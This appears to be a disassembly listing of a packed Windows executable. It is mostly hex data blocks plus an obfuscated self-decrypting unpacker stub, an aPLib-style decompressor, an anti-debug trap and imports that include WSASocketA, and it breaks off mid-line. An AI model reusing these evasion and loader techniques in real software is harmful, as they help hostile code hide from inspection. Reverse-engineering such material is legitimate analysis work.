0B53100B8h, 629B2B97h, 6E3BAE54h dd 3E6CCAA8h, 255E6328h, 8505B331h, 3FB6h, 944A011Bh, 0A621E36Fh dd 8742E0BFh, 30CEh, 351F0206h, 0B65A8169h, 357E312h, 50CCFE1Dh dd 33AA88C6h, 41CDC12h, 20700FDh, 4D286DF8h, 5E7B88E2h dd 3F080DF1h, 6A673BBCh, 2A40D4A5h, 2D31DB21h, 0AF0048h dd 6C405CD6h, 0ACEC2067h, 0EDCF383Eh, 3F88h, 0DB670193h dd 0F47EF383h, 4D206164h, 0B4C2h, 88F2018Ch, 60B85EB1h dd 0C760ACD8h, 2B00000h, 8BA0212Dh, 0A120FB45h, 49386E2Eh dd 5EE2D7h, 52AA01D6h, 70EDAA01h, 9C2EC666h, 710133h, 62E70035h dd 3B0AF73Bh, 0DA1653C7h, 47CF9B9Ah, 4A8E3883h, 26C0000h dd 3EBE88F6h, 0D38B91EFh, 477528h, 37F60114h, 4E6190BDh dd 0DF2E09Fh, 80001Eh, 0AE387488h, 468EF979h, 475F4D73h dd 0ACEF20CCh, 36CE1C46h, 0E1930B3Dh, 0B40097h, 79A0F065h dd 5D5F86DBh, 3D9CBDh, 4D5202FFh, 7044AAAh, 0F3D307h, 41D9010Bh dd 79C41740h, 99C82FB6h, 0C8ABF01Eh, 0C108B67Dh, 1F90000h dd 0B732FBE3h, 7D6E302h, 0B0F477B3h, 12000BBh, 2D7C3054h dd 0D709ACA6h, 46A2E380h, 0C016C4A8h, 18D0000h, 5BDC88D2h dd 8603449Ah, 0C6B05D6Ah, 0FB006B32h, 490Eh, 93D901B8h dd 57DD0CE9h, 3AB8D400h, 47DF3Ch, 0A33601B5h, 0E49C5ABCh dd 7A377B5h, 7C32h, 947601A7h, 9AC52F6Eh, 0AB31E357h, 0AB3Bh dd 0F3B00170h, 0FAA654CAh, 999C0D65h, 7FDCCBC4h, 0D6E6F29Ah dd 67389488h, 15D0000h, 0C9DD91B9h, 0EC68AE66h, 84945A9Eh dd 22F00A3h, 0B0CBF620h, 4E69DC8Ah, 1AD003Fh, 68A133D3h dd 18D28E57h, 31EC5FEAh, 62185BDBh, 94F3F210h, 1B00000h dd 1F315F51h, 9EBD2ECDh, 9EC8884Ah, 5FDDF0BFh, 6AB2BDF3h dd 1500000h, 91731FC5h, 0D2C00EA1h, 57A35743h, 221993h dd 0FD7900CAh, 0C882CD4Fh, 0CB47BD3Eh, 23B12202h, 174007Ch dd 314DE79Ch, 750A0677h, 7EFh, 0E5360051h, 74041B27h, 6F5DC06Fh dd 1520000h, 0DBE4E842h, 0D27ABDA6h, 0A6273952h, 1F50000h dd 0B0EBCFC5h, 2D7E70E8h, 7B7759A3h, 35A4DF4Ah, 7B89h dd 0BC5101AAh, 0C5F0E8F0h, 0C2C829A7h, 1AFCD4BFh, 45BCF661h dd 5CE1C359h, 3C533Fh, 0CB270085h, 4A54AF7Bh, 0B77FF2B8h dd 4414CEh, 8B0E0199h, 0B31CD332h, 0EBA45Eh, 6EA001A2h dd 8273DBD5h, 0D908DB47h, 19F006Eh, 0A571245Dh, 0FB198879h dd 19D0000h, 95CBC89Ah, 0AA1C6CA1h, 773600h, 6EFA019Bh dd 6A56419Eh, 6DB3BD8Dh, 2BF0000h, 0EDDF5083h, 7A8CEC4Ch dd 6DB046h, 0F58402BBh, 0B5FCE69Fh, 6692F71Ah, 0FDD0h dd 0D34B00FAh, 0DD5EADB9h, 88E030BAh, 0A78E9596h, 50F5B5E4h dd 2A50000h, 0DB004713h, 2E384163h, 0A4F112h, 1FAE02A2h dd 0AF166DDh, 0E1AFh, 9E802A3h, 92D4607Ah, 2710057h, 6D2688ADh dd 9B85F200h, 0FEA07FC4h, 2A40000h, 0F197A87h, 0BB5F93A2h dd 0FD385Bh, 0AD800F9h, 8EBCB4EDh, 0ED00BECh, 170AC2E5h dd 8405h, 241400BFh, 0A7AD45EEh, 0F61E76h, 230300B9h, 8F185314h dd 1310000h, 0BC305300h, 0AF4E215Fh, 26D0000h, 7C81CE25h dd 693C73F7h, 4D0A38A6h, 76AEh, 0B24C0115h, 39C97538h dd 0A328C96h, 20B0035h, 6A514CB0h, 11841AACh, 27125B04h dd 8894h, 47EA01BFh, 0DB1DF2FEh, 5146DDB7h, 0C39Bh, 0E12001C0h dd 7043982Ch, 0A6377204h, 0F0ADh, 0C64302ADh, 5B6896FAh dd 0D8A0D3AEh, 0DCD9B55h, 0A66DB0D6h, 485C7647h, 9E6Ah dd 551300B2h, 0B9BB0BFEh, 70C1827Ch, 0F98C8DECh, 6B2D1AFEh dd 1775E895h, 0B30015h, 20A6CACEh, 2A639B8Dh, 7429B187h dd 561C01B4h, 5B71D99h, 0C71412h, 0B6EA0106h dd 76D5012h, 1A438028h, 0D269AE3Eh, 192E6841h, 271162h dd 0D8770108h, 0B705407Ch, 1170E2C8h, 5D2780C2h, 7D7E0900h dd 0D02CF0C4h, 27C0000h, 0E659BBE9h, 0D8BC9E97h, 0C8792680h dd 0AA0000h, 0D21F2E81h, 7A3C1E65h, 0F363AC8Ah, 68D91216h dd 1530000h, 92EAD6F9h, 0A306979Fh, 5298B3E5h, 0CB15h dd 0C4070156h, 27392C29h, 0DE072C4Bh, 78C6AD8Bh, 28B0000h dd 56BBE95Bh, 0BD88B62Bh, 424EC853h, 591539B4h, 7BF77DD4h dd 5D31278Eh, 0ACC9EFh, 0F2B001B2h, 0F75AB747h, 54980C22h dd 4B33h, 0D91A01BEh, 6F335B03h, 4DA6A3FAh, 45ADCAh, 318801BDh dd 5121C3C9h, 0BFAD1A05h, 95F6C170h, 77003Ah, 1793A309h dd 94342304h, 0E48812C9h, 0CCBBAB9Fh, 6307h, 0F5930171h dd 12B04EB3h, 660A85DAh, 353EB5A1h, 522B54B9h, 2610000h dd 0B4F196CAh, 2FECE0B3h, 3DF25A1Ah, 11D0000h, 80531E55h dd 0DC5F4D43h, 52C9B52Ah, 0D59Bh, 0D90B0021h, 23DD6908h dd 2DC5CFDDh, 0C4326895h, 220000h, 3E22A610h, 781DA741h dd 413B3D98h, 5D88h, 0AA80262h, 0F02BAD57h, 28795785h dd 0CCEF5390h, 0D2B9D980h, 114FF03Eh, 0E6EB004Dh, 3DF5D209h dd 309451B4h, 0BE42h, 69h dup(0) seg003 ends ; Section 5. (virtual address 000F2000) ; Virtual size : 00005000 ( 20480.) ; Section size in file : 00005000 ( 20480.) ; Offset to raw data for section: 000F2000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute seg004 segment para public 'CODE' use32 assume cs:seg004 ;org 4F2000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dd 0CD1h dup(0) db 0 byte_4F5345 db 3 dup(0) ; DATA XREF: seg002:00450B60o dd 72Eh dup(0) seg004 ends ; Section 6. (virtual address 000F7000) ; Virtual size : 0001D000 ( 118784.) ; Section size in file : 0001D000 ( 118784.) ; Offset to raw data for section: 000F7000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _data segment para public 'CODE' use32 assume cs:_data ;org 4F7000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing db 90h ; --------------------------------------------------------------------------- pusha call loc_4F700A ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- jmp short loc_4F700E ; --------------------------------------------------------------------------- loc_4F700A: ; CODE XREF: .data:004F7002j pop ebp inc ebp push ebp retn ; --------------------------------------------------------------------------- loc_4F700E: ; CODE XREF: .data:004F7008j call loc_4F7014 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4F7014: ; CODE XREF: .data:loc_4F700Ej pop ebp mov ebx, 0FFFFFFEDh add ebx, ebp sub ebx, 0F7000h cmp byte ptr [ebp+4Dh], 1 jnz short loc_4F7034 mov esi, [esp+28h] cmp esi, 1 mov [ebp+4Eh], ebx jnz short loc_4F7065 loc_4F7034: ; CODE XREF: .data:004F7026j lea eax, [ebp+53h] push eax push ebx push dword ptr [ebp+9EDh] lea eax, [ebp+35h] push eax jmp loc_4F70CA ; --------------------------------------------------------------------------- dd 390000h, 30000h, 7C809AE4h, 3BE000h, 7C801D77h, 7C80B6A1h dd 0 db 0 ; --------------------------------------------------------------------------- loc_4F7065: ; CODE XREF: .data:004F7032j mov eax, 23A5C0F8h push eax push eax add eax, [ebp+4Eh] pop ebx test eax, eax jz short loc_4F7090 jmp short loc_4F7077 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4F7077: ; CODE XREF: .data:004F7074j cmp ebx, 23A5C0F8h jz short loc_4F70B4 xor edx, edx push esi push 0 push esi push dword ptr [ebp+4Eh] call eax pop esi cmp esi, 0 jnz short loc_4F70B4 loc_4F7090: ; CODE XREF: .data:004F7072j xor edx, edx mov eax, [ebp+41h] test eax, eax jz short loc_4F70A0 push edx push edx push dword ptr [ebp+35h] call eax loc_4F70A0: ; CODE XREF: .data:004F7097j mov eax, [ebp+35h] test eax, eax jz short loc_4F70B4 push 8000h push 0 push dword ptr [ebp+35h] call dword ptr [ebp+3Dh] loc_4F70B4: ; CODE XREF: .data:004F707Dj ; .data:004F708Ej ... pop ebx or ebx, ebx popa jnz short loc_4F70C0 push 1 pop eax retn 0Ch ; --------------------------------------------------------------------------- loc_4F70C0: ; CODE XREF: .data:004F70B8j xor eax, eax neg eax sbb eax, eax inc eax retn 0Ch ; --------------------------------------------------------------------------- loc_4F70CA: ; CODE XREF: .data:004F7043j js loc_4F70D4 push edi mov dl, al pop ebx loc_4F70D4: ; CODE XREF: .data:loc_4F70CAj call near ptr loc_4F70E5+1 and [esi+7], eax xor al, 5Dh shl byte ptr [ebx-0E1A660h], cl int 3 ; Trap to Debugger loc_4F70E5: ; CODE XREF: .data:loc_4F70D4p adc eax, 685999B7h sbb byte ptr [edi-19h], 3Bh adc dx, 0E8EFh pop edx add ecx, 8ADh mov ebx, esi mov esi, 6BBCE13Dh xor esi, 6BBCE336h ; CODE XREF: .data:004F7168j and bh, 0FBh loc_4F710A: ; CODE XREF: .data:004F7152j mov edi, [ecx] mov dx, 0B8C4h xor edi, 138F9135h push 36BDBA73h mov dx, 5C5Ch pop ebx add edi, 565D29CAh movzx eax, di xor edi, 44A2873Bh xor bx, 17D5h mov [ecx], edi mov edx, 617F2CB6h sub ecx, 916E924h mov bl, 73h add ecx, 916E920h push 4E3C38BCh mov ah, dl pop eax dec esi jnz loc_4F710A and ebx, 43DC61F9h push edi pop esi call near ptr loc_4F7177+2 lodsb jnz short near ptr loc_4F716E+4 jnp short near ptr loc_4F7101+1 icebp setalc push edi inc esp loc_4F716E: ; CODE XREF: .data:004F7166j sub eax, 29B0F362h scasb dec edi fsubr st(5), st loc_4F7177: ; CODE XREF: .data:004F7160p mov edx, 1B800F6Bh ; --------------------------------------------------------------------------- dd 0E8000000h, 12h, 99E0E312h, 550C3F5Eh, 0D1F85B6Ah, 0DA43736h dd 0B70FD3C2h, 815A58F7h, 0ED6F7DD7h, 20C2814Ah, 66000008h dd 0BB8679BEh, 0 ; --------------------------------------------------------------------------- mov si, bx loc_4F71B3: ; CODE XREF: .data:004F7217j push dword ptr [ebx+edx] mov edi, esi pop ecx mov di, cx add ecx, 7EF33D50h sub esi, 22FFED88h xor ecx, 661FAB49h movsx edi, cx xor ecx, 25225C4Eh add ax, 851Eh push ecx jmp loc_4F71F1 ; --------------------------------------------------------------------------- dw 0B81Bh dd 64F7F691h, 0D09382CDh, 0FCEFCEC9h db 85h ; --------------------------------------------------------------------------- loc_4F71F1: ; CODE XREF: .data:004F71DDj pop dword ptr [edx+ebx] jg loc_4F71FD mov ax, di loc_4F71FD: ; CODE XREF: .data:004F71F4j mov di, 0B400h sub ebx, 3 push edx pop eax dec ebx jnb loc_4F7211 mov si, 3DA9h loc_4F7211: ; CODE XREF: .data:004F7207j ; .data:004F7235j cmp ebx, 0FFFFF8A0h jnz loc_4F71B3 jnp loc_4F7229 or eax, 0B25B606h loc_4F7229: ; CODE XREF: .data:004F721Dj mov edx, 5B936332h call sub_4F723B add [ecx], bh jle short near ptr loc_4F7211+5 sub al, 0F5h mov bh, bl ; =============== S U B R O U T I N E ======================================= sub_4F723B proc near ; CODE XREF: .data:004F722Ep mov dx, 7EC4h pop esi mov eax, ebx add esi, 754h mov edx, 3FE7463Ah mov ecx, 1BAh mov eax, 3C00A2C7h mov ebx, [esi] push ebx mov edx, eax pop edx sub ebx, 660AC6EFh mov eax, 0F11CBB7h add ebx, 470DB5FCh call near ptr loc_4F7275+5 push ebx nop loc_4F7275: ; CODE XREF: sub_4F723B+33p mov [esi-7EBA4351h], ecx sub_4F723B endp ; sp-analysis failed lock test bp, cx xor [edi-7Fh], ebx retn ; --------------------------------------------------------------------------- db 85h dd 512B3174h, 831E895Fh, 800F04EEh, 4, 0BCFABF66h, 0F01E983h dd 0FFFFB685h, 66C38BFFh, 0CE8C38Bh, 54000000h, 0C043F2FDh dd 0EC9F3EF9h, 80BB4AB5h, 805F84D4h, 0C78169EEh, 6DBh dd 0CA816651h, 335A47A1h, 0FFCA8BDBh, 81663B34h, 5E37AAC1h dd 0F5B1168h, 6E4680Eh, 0BF0F560Dh, 815959D6h, 455342EEh dd 26BA6625h, 53EE8197h, 8B24EEBFh, 90EE81D7h, 8A0524F0h dd 0D08B56D5h, 0E81F048Fh, 9, 0B0F3622Dh, 0DC4FAE29h, 5880FE5h dd 0B9000000h, 32DB0E9Dh, 0AE958h, 5B6A0000h, 3736D1F8h dd 0D3C20DA4h, 6801EB83h, 0E06D73Ch, 58C8BF0Fh, 8B4B4B4Bh dd 0CCFB81D3h, 0FFFFFF9h, 0FFFF8285h, 38B0FFFh, 80000000h dd 2D6870C0h, 666E4D71h, 2FDCC081h, 10E859h, 61C80000h dd 9D744786h, 99E0E312h, 550C3F5Eh, 0F5E5B6Ah, 88Ah, 0F3815100h dd 36186DC5h, 20C68159h, 81000006h, 68CB72C9h, 681Ah, 665A0000h dd 3358C181h, 0F3234FFh, 1F8Dh, 198B0F00h, 0E8000000h dd 13h, 7AA59C0Fh, 4621882Bh, 0D25D3407h, 1E59A0A3h, 5815CCFFh dd 0DEBF0F5Fh, 83ACC781h, 0B9666AF1h, 0F7813F93h, 21FBA875h dd 0C781D88Bh, 24F8900Ah, 0DE9h, 0E7A60100h, 83323D94h dd 0DF7E3900h, 3C89F52Ch, 0D7F38016h, 51B230BBh, 2EEA8164h dd 8140EF0Ch, 0FB6DEBC3h, 2AC28124h, 0E840EF0Ch, 0Bh, 921DF4C7h dd 0DE196063h, 80D58CBFh, 8159B6D0h, 0FFFAD8FAh, 1B850FFFh dd 66000000h, 2BE9DE8Bh, 0AF000000h, 0CB9A45BCh, 0A766C1A8h dd 43F2FD54h, 9F3EF9C0h, 0D868B5ECh, 0B943577Ch, 78166Dh dd 0FF42E959h, 69F0FFFFh, 251C8FEEh, 0E8ABFAh, 5D000000h dd 5B5D895Bh, 5F5D895Bh, 0D858958h, 58000004h, 15A7D80h dd 85895975h, 425h, 33458D60h, 64C03350h, 896430FFh, 0E8C38B20h dd 2E4h, 648B1CEBh, 67640824h, 68Fh, 6104C483h, 5063458Dh dd 0E85F55FFh, 2DEh, 676409EBh, 68Fh, 0EB24C483h, 7048001Bh dd 0B6A1004Fh, 656B7C80h, 6C656E72h, 642E3233h, 0E8006C6Ch dd 29Ch, 8CB58DFCh, 0AD000000h, 1B74C00Bh, 0CB9F88Bh, 0F3000000h dd 10EBA4h, 20004010h, 19B2B343h, 0D700AB11h, 899D4C9Dh dd 429A5h, 68406A00h, 1000h, 408B5FFh, 6A0000h, 3F095FFh dd 85890000h, 1CCh, 4009D8Bh, 9D030000h, 40Dh, 4E85350h dd 6A000001h, 10006840h, 0B5FF0000h, 408h, 95FF006Ah, 3F0h dd 4318589h, 85890000h, 1D0h, 0A16764h, 2D858900h, 8B000004h dd 858B5B55h, 1D0h, 858B0289h, 408h, 8D044289h, 39F85h dd 55408B00h, 8B084289h, 3EC85h, 10428900h, 3E8858Bh, 42890000h dd 0CC958B14h, 0BB000001h, 1F8h, 0C1A7C8Bh, 1E74FF0Bh dd 101A4C8Bh, 1174C90Bh, 1D0BD03h, 748B0000h, 0F203141Ah dd 0F302F9C1h, 28C383A5h, 858BDAEBh, 1CCh, 0D0958B50h dd 52000001h, 0DA03188Bh, 3E4858Bh, 3890000h, 3E8858Bh dd 43890000h, 0EC858B04h, 89000003h, 5E5F0843h, 304468Bh dd 0C78589C7h, 8B000001h, 858B5B55h, 1C7h, 8D0C4289h, 40D9Dh dd 6A5300h, 16A006Ah, 85E8B57h, 6853DF03h, 8000h, 0FF56006Ah dd 3F495h, 0E0006800h, 0C3003Bh, 3600h db 0, 39h, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp pusha push ebp mov esi, [ebp+8] mov edi, [ebp+0Ch] cld mov dl, 80h loc_4F7649: ; CODE XREF: .data:loc_4F7658j mov al, [esi] inc esi mov [edi], al inc edi loc_4F764F: ; CODE XREF: .data:004F76ADj ; .data:004F76F2j ... add dl, dl jnz short loc_4F7658 mov dl, [esi] inc esi adc dl, dl loc_4F7658: ; CODE XREF: .data:004F7651j jnb short loc_4F7649 add dl, dl jnz short loc_4F7663 mov dl, [esi] inc esi adc dl, dl loc_4F7663: ; CODE XREF: .data:004F765Cj jnb short loc_4F76AF xor eax, eax add dl, dl jnz short loc_4F7670 mov dl, [esi] inc esi adc dl, dl loc_4F7670: ; CODE XREF: .data:004F7669j jnb loc_4F774C add dl, dl jnz short loc_4F767F mov dl, [esi] inc esi adc dl, dl loc_4F767F: ; CODE XREF: .data:004F7678j adc eax, eax add dl, dl jnz short loc_4F768A mov dl, [esi] inc esi adc dl, dl loc_4F768A: ; CODE XREF: .data:004F7683j adc eax, eax add dl, dl jnz short loc_4F7695 mov dl, [esi] inc esi adc dl, dl loc_4F7695: ; CODE XREF: .data:004F768Ej adc eax, eax add dl, dl jnz short loc_4F76A0 mov dl, [esi] inc esi adc dl, dl loc_4F76A0: ; CODE XREF: .data:004F7699j adc eax, eax jz short loc_4F76AA push edi sub edi, eax mov al, [edi] pop edi loc_4F76AA: ; CODE XREF: .data:004F76A2j mov [edi], al inc edi jmp short loc_4F764F ; --------------------------------------------------------------------------- loc_4F76AF: ; CODE XREF: .data:loc_4F7663j mov eax, 1 loc_4F76B4: ; CODE XREF: .data:loc_4F76C8j add dl, dl jnz short loc_4F76BD mov dl, [esi] inc esi adc dl, dl loc_4F76BD: ; CODE XREF: .data:004F76B6j adc eax, eax add dl, dl jnz short loc_4F76C8 mov dl, [esi] inc esi adc dl, dl loc_4F76C8: ; CODE XREF: .data:004F76C1j jb short loc_4F76B4 sub eax, 2 jnz short loc_4F76F7 mov ecx, 1 loc_4F76D4: ; CODE XREF: .data:loc_4F76E8j add dl, dl jnz short loc_4F76DD mov dl, [esi] inc esi adc dl, dl loc_4F76DD: ; CODE XREF: .data:004F76D6j adc ecx, ecx add dl, dl jnz short loc_4F76E8 mov dl, [esi] inc esi adc dl, dl loc_4F76E8: ; CODE XREF: .data:004F76E1j jb short loc_4F76D4 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_4F764F ; --------------------------------------------------------------------------- loc_4F76F7: ; CODE XREF: .data:004F76CDj dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_4F7705: ; CODE XREF: .data:loc_4F7719j add dl, dl jnz short loc_4F770E mov dl, [esi] inc esi adc dl, dl loc_4F770E: ; CODE XREF: .data:004F7707j adc ecx, ecx add dl, dl jnz short loc_4F7719 mov dl, [esi] inc esi adc dl, dl loc_4F7719: ; CODE XREF: .data:004F7712j jb short loc_4F7705 cmp eax, 7D00h jnb short loc_4F773C cmp eax, 500h jb short loc_4F7737 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4F764F ; --------------------------------------------------------------------------- loc_4F7737: ; CODE XREF: .data:004F7727j cmp eax, 7Fh ja short loc_4F773F loc_4F773C: ; CODE XREF: .data:004F7720j add ecx, 2 loc_4F773F: ; CODE XREF: .data:004F773Aj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4F764F ; --------------------------------------------------------------------------- loc_4F774C: ; CODE XREF: .data:loc_4F7670j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_4F7768 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4F764F ; --------------------------------------------------------------------------- loc_4F7768: ; CODE XREF: .data:004F7754j pop ebp sub edi, [ebp+0Ch] mov [ebp-4], edi popa pop ebp retn 8 ; --------------------------------------------------------------------------- dd 7C80261Ch, 2424448Bh, 0FF000025h, 5FFh, 2D0001h, 66000100h dd 5A4D3881h, 8960F475h, 3F885h, 8BD08B00h, 3C4003D8h dd 89785803h, 30D9Dh, 0CC9D8D00h, 8D000003h, 3E4BDh, 89338B00h dd 37CB5h, 0BE800h, 83AB0000h, 3B8304C3h, 61EA7500h, 9D8B60C3h dd 30Dh, 3204B8Bh, 3318BCAh, 2FE8F2h, 0CEBF0000h, 3B49CD75h dd 830574C7h, 0E9EB04C1h, 2B204B2Bh, 3E9D1CAh, 0CA03244Bh dd 0C109B70Fh, 4B0302E1h, 8BCA031Ch, 89CA0309h, 611C244Ch dd 8EBA52C3h, 0AC9C3B24h, 1474C00Ah, 8B0D032h, 673EAD1h dd 0F39AF281h, 0C8FEC1A7h, 0E7EBF275h, 0A7C35A92h, 0F0B72551h dd 57A7493Bh, 13901902h, 0CE74EE32h, 49CD75h, 0A0000000h dd 0A17C80ADh, 777C80B6h, 517C801Dh, 0E47C809Ah, 7C809Ah dd 7C8000h, 28000218h, 0F2000F7Bh, 158h, 300h, 2 dup(400000h) dd 2 dup(0) dd 0F2000h, 0F1000h, 0 dd 12FFA4h, 12FFE0h, 390000h, 1000h, 37200h, 16DA7h, 39000h dd 2600h, 125Eh, 3C000h, 15400h, 81E3h, 0F1000h, 1000h dd 0E31h, 44h dup(0) dd 2000h, 8, 6 dup(0) dd 7C80ADA0h, 7C80B6A1h, 7C801D77h, 2 dup(0) dd 6E72656Bh, 32336C65h, 6C6C642Eh, 47000000h, 72507465h dd 6441636Fh, 73657264h, 73h, 4D746547h, 6C75646Fh, 6E614865h dd 41656C64h, 4C000000h, 4C64616Fh, 61726269h, 417972h dd 3 dup(0) dd 0F7A10h, 0F79FCh, 3 dup(0) dd 0F7AB4h, 0F7AD9h, 3 dup(0) dd 0F7ABFh, 0F7AE1h, 3 dup(0) db 0CCh db 7Ah, 0Fh, 0 ; --------------------------------------------------------------------------- jmp loc_4F8A1B ; --------------------------------------------------------------------------- align 4 dd 4 dup(0) dd 5F327377h, 642E3233h, 6F006C6Ch, 7561656Ch, 2E323374h dd 6C6C64h, 6E72656Bh, 32336C65h, 6C6C642Eh, 0AB876900h dd 71h, 126AEA00h, 77h, 812A0900h, 7Ch, 57000000h, 6F534153h dd 74656B63h, 41h, 69726156h, 43746E61h, 676E6168h, 70795465h dd 784565h, 61520000h, 45657369h, 70656378h, 6E6F6974h dd 0 dd 2E838A4h, 8E06170h, 0C2018D88h, 1E7019Fh, 705E5708h dd 12578703h, 50BB3810h, 46FF009Ah, 4492513h, 2443BDE3h dd 6592260h, 2801142Bh, 70122051h, 1A0A012Ah, 47F45001h dd 0E2285790h, 480424A0h, 3044DE20h, 121E89B0h, 9150BD24h dd 570A22E0h, 0F0B22842h, 364CC8B9h, 481FBE9h, 20401038h dd 5300060Ch, 6E697274h, 75586735h, 50010019h, 338E0420h dd 18002C9Ch, 0AC0922A8h, 0A4B044h, 812B8488h, 20E01298h dd 4F54070Eh, 656A0062h, 0FF7463h, 7091A425h, 0C08B3242h dd 39A01000h, 8E981C9Ch, 23940047h, 0C88C9190h, 8401E488h dd 7C398072h, 2286781Ch, 44B82374h, 0E4B4C800h, 3968726Ch dd 601C2064h, 58235C00h, 50C85491h, 724C01E4h, 1C443948h dd 23B00040h, 3891013Ch, 30E434C8h, 0C439D472h, 0DEE1D3Ah dd 2A281C2Ch, 0EE023F8h, 0D8C8DC91h, 0D072D4E0h, 83015318h dd 0BBBCC409h, 6E80200Ah, 0C10123E8h, 4400F60Ch, 74DC2C24h dd 0F1E05h, 30065CB7h, 0FE38C38Bh, 47EB5B00h, 6534DA2Ch dd 8320720h, 3618391Ch, 100F7A14h, 80900C23h, 0BE5653C0h dd 0C774074Ch, 3E8312h, 44683A75h, 0CC066701h, 0DFE8036Ah dd 8BDBC0h, 75C985C8h, 0C0313305h, 0A1CA5E00h, 89438E48h dd 0D4A1C01h, 0D2803F08h, 0C003C28Bh, 441D8D0Fh, 1EC004C1h dd 6901889h, 3837D42h, 0EC7564FAh, 10883F9Eh, 59001633h dd 3B54B690h, 72D10440h, 0D8F23858h, 1F33E880h, 0ED859602h dd 8B493000h, 503A8916h, 56990E08h, 803F0C04h, 6233EF13h dd 42481458h, 0B003003Ch, 50191C01h, 0FD083DA2h, 9451F980h dd 9991150Eh, 43A33E00h, 9003C307h, 557F57h, 14F9F18Bh dd 5AE8D424h, 9760500Fh, 6A466004h, 0BEEB5Dh, 0B03BBF90h dd 3D0A043h, 0C795300h, 14751612h, 0E8130006h, 27D4DDA7h dd 0A7F6096h, 4460100h, 4C50EB6Eh, 3B4E0003h, 0D75C215h dd 180FD41Dh, 6FDF077Dh, 0C7005FEBh, 0E8C5E1D6h, 2B940977h dd 990FA084h, 5D5A6AA0h, 8901A45Fh, 12E0C58Dh, 0F8E40A74h dd 3A3900BFh, 0A13230FBh, 7201F03Bh, 0CE186C7Dh, 0E8DC4A03h dd 6E610055h, 5E77CDD8h, 7500248Fh, 36BCB41Bh, 0CFF01h dd 83AA2963h, 40829C7Bh, 65994400h, 0A9743EBh, 0ED7250D8h dd 74CE0077h, 5430DFF8h, 1D00FECFh, 0EBCD7329h, 9E2A26h dd 24478985h, 7C57F92Bh, 12965C03h, 0E0FBD0F0h, 30D476B9h dd 0EB28A76Ah, 0D000E0Ch, 3B1BA898h, 0FA65FB7Eh, 6259071Ch dd 23A39092h, 0F0A8DA8Bh, 0CE0AFE81h, 9C02104Eh, 808DBE09h dd 0FFC6FC12h, 14BB00E3h, 1008E636h, 73008903h, 68016A04h dd 242083h, 90C05618h, 89F880EFh, 0FF853B09h, 909803Ch dd 350B8D3h, 0C664482Ah, 80A94A13h, 38BC8E4h, 0F700E8FAh dd 7AF84FD5h, 7D1264ACh, 41D91F55h, 47FC80B4h, 6A614304h dd 505DB500h, 55520C68h, 75C50E53h, 0CA20791Fh, 1C259332h dd 3B839E0Ah, 0A500C729h, 9F6CA4DCh, 4CD200ECh, 0E4491312h dd 0E31283C7h, 1E07FF08h, 54117D66h, 0E8C51D90h, 0F88F09E8h dd 2A790FC5h, 4180ED10h, 2451EB4Fh, 9073F31Ch, 77EE1E40h dd 3BC64946h, 0BB000F03h, 0EDEFDF35h, 43036A74h, 0D568987h dd 767FC015h, 0A96B0FDEh, 73609575h, 0A06864Dh, 2C05C700h dd 261BDC8Dh, 0DF501C10h, 59FBC781h, 30EB3075h, 0ED7E0460h dd 0D47C8300h, 1928C070h, 43E93D0Fh, 22620800h, 0AD2B0C15h dd 321D9700h, 14AC50AFh, 0B974A6h, 4CF447B8h, 0EA1C7285h dd 0E5813Fh, 337BAF0h, 0C2971Ah, 20930F74h, 0B5F887E2h dd 4C1E8900h, 0D10D281Bh, 4DC5072Bh, 0B035F546h, 5EFE3CCFh dd 7E12C174h, 9201030Ch, 27C7690h, 3DFDDCCh, 0F1BAE8F8h dd 3C800DA6h, 58001E24h, 2B0F1044h, 535764h, 0C1755A85h dd 0C9EBA628h, 8A003390h, 0BC65BA0Fh, 0C860Ah, 740B6B92h dd 0B6612C32h, 0A221F300h, 86E6824Ch, 9E342650h, 590301D9h dd 0F8C9583Fh, 2B0032F7h, 8594410Fh, 0C33842h, 0B773241Ch dd 0EFE10ADDh, 8D00DE7Dh, 0E8835EFDh, 3404781h, 2E24249h dd 58C89412h, 0AD0038C0h, 0BDD04531h, 0F837C160h, 3FFF00C7h dd 83E78753h, 0F50031C0h, 3B33D45Dh, 7F0F60h, 7C4A2C58h dd 0E55D759h, 557E800h, 74772117h, 46FD0050h, 85764963h dd 0A2073E90h, 0DD0AC935h, 0AA6480DEh, 98E814C7h, 8F2F00A5h dd 19CCCB21h, 390BFBAh, 5CCDA7A0h, 7423A500h, 0E83A060Ch dd 59CC009Fh, 24376CDEh, 64137A10h, 2B0EB05Ch, 0A73F80FAh dd 2C026593h, 806207h, 75558249h, 57EE85F5h, 0FA34200h dd 0E0A4968Eh, 0DA95038Dh, 2A2BA90Bh, 56269CE8h, 270FE8F6h dd 0E31D35BDh, 3373306h, 0A5C99284h, 42C82686h, 8400B175h dd 0EF9D8B16h, 7258C4Dh, 0AAC226Dh, 4E08C0E9h, 0A0008AC9h dd 0E345947h, 7850F82h, 9FFF6A66h, 48EB704Bh, 81166B29h dd 0AB07F51Ch, 1DA04922h, 1EB4D855h, 40857AA6h, 38832146h dd 28006FA8h, 1A406911h, 109A94Fh, 10425214h, 0F44A078Ah dd 1600C7ABh, 26239280h, 98C5F98Bh, 199800FCh, 300DE31Ch dd 7B000336h, 0BE650F0h, 0DE1F3Bh, 0CFD25B73h, 0D32B7406h dd 0EB298B00h, 0B844CC05h, 4D4F0089h, 8F5CF1B9h, 0DB038520h dd 59B61FCAh, 64B490C3h, 0B1892E39h, 0B2A5032Dh, 0F6B80811h dd 0F2004914h, 40333C48h, 94EB03h, 8E07957Ah, 815C8D52h dd 9CEC2800h, 662668EAh, 4B7F19h, 3332FF64h, 30DA2289h dd 